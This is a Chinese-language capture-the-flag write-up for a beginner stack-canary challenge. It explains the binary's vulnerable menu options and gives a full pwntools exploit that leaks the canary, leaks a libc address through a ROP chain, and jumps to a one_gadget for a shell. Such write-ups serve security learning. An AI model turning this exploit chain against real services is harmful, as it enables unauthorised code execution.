(ps:泄露canary入门题)
文件链接:https://pan.baidu.com/s/17pIc0RrfLRH9arMbJmJGjA
提取码:4olb

1.查看保护机制信息,搭建环境,ubuntu运行ida*64远程调试文件:


2.ida64打开程序分析:

有puts,read函数。

在main函数中,有3个选项,1选项中有栈溢出漏洞,2选项中可以泄露栈中数据,3选项退出循环
思路:泄露canary,泄露read或puts函数got地址,计算出one_gadget地址 劫持返回地址getshell

3.信息收集:



4.编写exp:


from pwn import *

context.binary = './scv'
file_elf = ELF('./scv')
read_got = file_elf.got['read']
puts_add = file_elf.symbols['puts']
main_start_add = 0x400a96
pop_rdi_ret_add = 0x400ea3

#用的是本地libc文件中的one_gadget地址和read地址
libc6_one_gadget_add = 0x45216
libc_read_add = 0xf7250

link = remote("192.168.93.137","6666")
link.recvuntil(">>")
link.sendline('1')
payload = 'A' * 0xa7 + 'BC'
link.send(payload)
link.recvuntil(">>")
link.sendline('2')
link.recvuntil("BC")  #截断开始,指针指向BC后的字节

canary = u64('\x00'+link.recv(7))
print canary
link.recvuntil(">>")
link.sendline('1')
payload2 = 'A' * 0xa8 
payload2 += p64(canary) 
payload2 += 'B' * 0x8
payload2 += p64(pop_rdi_ret_add)
payload2 += p64(read_got)
payload2 += p64(puts_add)
payload2 += p64(main_start_add)
link.send(payload2)
link.recvuntil(">>")
link.sendline('3')
link.recvuntil("MIENRALS...\n")
#puts输出read_got地址为0x******
#小端序
read_add = u64(link.recv()[:6] + "\x00\x00")
print read_add
py_add = read_add - libc_read_add 
one_gadget_add = py_add + libc6_one_gadget_add
#link.recvuntil(">>") 这里不能加这句,因 上面read_add 中的link.recv()
link.sendline("1")
payload3 = 'A' * 0xa8 
payload3 += p64(canary)
payload3 += 'B' * 0x8
payload3 += p64(one_gadget_add)
link.recvuntil(">>")
link.send(payload3)
link.recvuntil(">>")
link.sendline('3')
link.recvuntil("MIENRALS...\n")
link.interactive()

流程:
1.进入选项1,栈溢出,覆盖一个字节canary
2.进入选项2,泄露canary
3.进入选项1,布置栈布局,泄露read的got地址,来计算与libc文件的偏移,并且返回main函数首地址
4.进入选项3,退出循环,触发栈溢出漏洞。泄露read的got地址,并且返回main函数首地址
5.利用泄露的read的got地址计算出与libc的read函数的偏移,然后计算出one_gadget的地址
6.进入选项1,栈溢出,劫持返回地址为one_gadget地址
7.进入选项3,退出循环,触发栈溢出漏洞,执行one_gadget